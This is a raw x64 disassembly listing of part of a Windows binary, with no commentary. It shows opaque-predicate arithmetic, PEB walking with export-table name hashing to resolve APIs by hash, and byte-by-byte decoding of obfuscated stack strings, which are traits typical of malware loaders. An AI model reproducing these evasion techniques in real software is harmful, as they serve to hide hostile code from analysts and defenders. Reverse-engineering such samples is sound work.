movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, r14d
test eax, eax
je 0x14004026a
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx ecx, al
mov eax, ebx
imul eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004018e
xor eax, eax
cmp dword [rsp + 0x1558], eax
sete al
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400400af
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400400af
mov r15d, 7
jmp 0x140040142
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140040142
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x58]
cvttsd2si r15d, xmm0
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, r15d
test eax, eax
jne 0x14004026a
mov byte [rsp + 0x1670], 0
mov byte [rsp + 0xa40], 0x6c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xa41], xmm0
mov word [rsp + 0xa51], ax
mov byte [rsp + 0xa53], al
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
cmp rax, 0x14
jae 0x140040221
nop word [rax + rax]
mov rcx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
movzx edx, byte [rsp + rax + 0xa40]
movabs rax, 0xedfb112da8b95c92
add rcx, rax
movzx eax, cl
and al, dl
add al, al
sub cl, al
add cl, 2
add cl, dl
mov rax, qword [rsp + 0x58]
mov byte [rsp + rax + 0xa40], cl
mov rax, qword [rsp + 0x58]
inc rax
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
cmp rax, 0x14
jb 0x1400401d0
mov ecx, dword [rsp + 0x1558]
movzx eax, byte [rsp + 0xa40]
mov byte [rsp + rcx + 0x2b90], al
lea rax, [rsp + 0x2b90]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140040246
lea rdx, [rsp + 0x2b90]
lea rcx, [rsp + 0x1a88]
call fcn.140002020
jmp 0x14003fdf0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14004031a
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14004031a
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r10]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x140040315
mov ecx, 0xae6baa8b
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x1400402f0
cmp ecx, 0x3fba239f
je 0x140040400
test r8d, r8d
jne 0x1400402c0
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x140040330
cmp qword [rax + 0x30], 0
je 0x140040330
mov al, 1
jmp 0x140040332
xor al, al
test al, al
jne 0x140040290
xor edx, edx
mov rcx, r12
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop dword [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400403ea
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x1400403ea
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r10]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x1400403e5
mov ecx, 0xf2d5a2a3
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x1400403c0
cmp ecx, 0xab0efef7
je 0x1400404f0
test r8d, r8d
jne 0x140040390
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14004041e
cmp qword [rax + 0x30], 0
je 0x14004041e
mov al, 1
jmp 0x140040420
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14004033c
xor al, al
test al, al
jne 0x140040360
xor edx, edx
mov rcx, r13
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop word [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400404da
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x1400404da
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r10 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x1400404d5
mov ecx, 0x8b090a43
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x1400404b0
cmp ecx, 0xd9044197
je 0x140040620
test r8d, r8d
jne 0x140040480
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14004050e
cmp qword [rax + 0x30], 0
je 0x14004050e
mov al, 1
jmp 0x140040510
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14004042a
xor al, al
test al, al
jne 0x140040450
xor r14d, r14d
mov edx, r14d
mov r15, qword [rsp + 0x50]
mov rcx, r15
call rdx
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov edx, esi
imul edx, edi
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140040641
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140040641
mov eax, 7
jmp 0x1400406dc
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor r14d, r14d
jmp 0x14004051e
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400406d5
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x1400406dc
mov eax, dword [rsp + 0x1558]
cmp r14d, eax
jge 0x140040713
lea rdx, [rsp + 0x1a88]
lea rcx, [rsp + 0x1b08]
call fcn.140001cd0
or dword [rsp + 0xa0], 0x1000
lea rcx, [rsp + 0x1a88]
call fcn.140001c70
jmp 0x140040bae
lea rcx, [rsp + 0x1a88]
call fcn.140001c70
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop word [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400407ca
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x1400407ca
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r10 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x1400407c5
mov ecx, 0xd9ace84d
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x1400407a0
cmp ecx, 0x4da0fd41
je 0x1400408b0
test r8d, r8d
jne 0x140040770
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x1400407e0
cmp qword [rax + 0x30], 0
je 0x1400407e0
mov al, 1
jmp 0x1400407e2
xor al, al
test al, al
jne 0x140040740
xor edx, edx
mov rcx, r12
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop dword [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14004089a
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14004089a
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r10]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x140040895
mov ecx, 0xbfd192f1
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x140040870
cmp ecx, 0xb519dc2d
je 0x1400409a0
test r8d, r8d
jne 0x140040840
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x1400408ce
cmp qword [rax + 0x30], 0
je 0x1400408ce
mov al, 1
jmp 0x1400408d0
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x1400407ec
xor al, al
test al, al
jne 0x140040810
xor edx, edx
mov rcx, r13
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop word [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14004098a
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14004098a
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r10]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x140040985
mov ecx, 0x2db80e78
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x140040960
cmp ecx, 0x4b9e8854
je 0x140040ace
test r8d, r8d
jne 0x140040930
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x1400409be
cmp qword [rax + 0x30], 0
je 0x1400409be
mov al, 1
jmp 0x1400409c0
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x1400408da
xor al, al
test al, al
jne 0x140040900
xor r14d, r14d
mov edx, r14d
mov rcx, r15
call rdx
call fcn.140003750
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003790
movsx r8d, al
mov edx, edi
imul edx, ebx
lea ebx, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*2]
add eax, r8d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140040aef
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140040aef
mov eax, 7
jmp 0x140040b8a
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor r14d, r14d
jmp 0x1400409ce
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140040b83
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x140040b8a
mov eax, dword [rsp + 0x1558]
cmp r14d, eax
jge 0x140040bae
lea rdx, [0x140073888]
lea rcx, [rsp + 0x1b08]
call fcn.140001d00
or dword [rsp + 0xa0], 0x1000
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx ecx, al
mov eax, ebx
imul eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140043ba5
mov rcx, r14
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140040cbb
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140040cbb
mov ebx, 7
jmp 0x140040d56
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140040d4f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x140040d56
mov ebx, dword [rsp + 0x1558]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*2]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x140043ba5
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140043ba5
mov rcx, r14
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140040eac
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140040eac
mov ebx, 7
jmp 0x140040f47
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140040f40
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x140040f47
mov ebx, dword [rsp + 0x1558]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x140043ba5
mov byte [rsp + 0xa60], 6
mov byte [rsp + 0xa61], 5
mov byte [rsp + 0xa62], 4
mov byte [rsp + 0xa63], 0xb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xa64], xmm0
mov dword [rsp + 0xa74], eax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x18
jae 0x140041027
movabs rbx, 0x81e89756bd1429d5
nop
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0xa60]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
add cl, 0x2d
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xa60], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x18
jb 0x140040fe0
mov byte [rsp + 0xa80], 0x98
mov byte [rsp + 0xa81], 0x98
mov byte [rsp + 0xa82], 0x9a
mov byte [rsp + 0xa83], 0x9b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xa84], xmm0
mov word [rsp + 0xa94], ax
mov byte [rsp + 0xa96], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x17
jae 0x1400410c7
movabs rbx, 0xc55c8b1f7c1be66c
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0xa80]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
add cl, 0xc
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xa80], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x17
jb 0x140041080
mov eax, dword [rsp + 0xa80]
mov dword [rsp + 0x64], eax
mov byte [rsp + 0x120], 0x2c
mov byte [rsp + 0x121], 0x2d
mov byte [rsp + 0x122], 0x22
mov byte [rsp + 0x123], 0x23
xor eax, eax
mov qword [rsp + 0x124], rax
mov dword [rsp + 0x12c], eax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x10
jae 0x140041167
movabs rbx, 0xacc69247f57bad06
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0x120]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 0x2a
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x120], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x10
jb 0x140041120
mov r15d, dword [rsp + 0x120]
mov dword [rsp + 0x70], r15d
mov byte [rsp + 0xaa0], 0xb6
mov byte [rsp + 0xaa1], 0xb9
mov byte [rsp + 0xaa2], 0xb8
mov byte [rsp + 0xaa3], 0xbb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xaa4], xmm0
mov qword [rsp + 0xab4], rax
mov word [rsp + 0xabc], ax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x1e
jae 0x140041217
movabs rbx, 0x107ada8e65e06297
nop dword [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0xaa0]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 0x21
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xaa0], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1e
jb 0x1400411d0
mov eax, dword [rsp + 0xaa0]
mov dword [rsp + 0x1564], eax
mov byte [rsp + 0xac0], 0x30
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xac1], xmm0
mov qword [rsp + 0xad1], rax
mov dword [rsp + 0xad9], eax
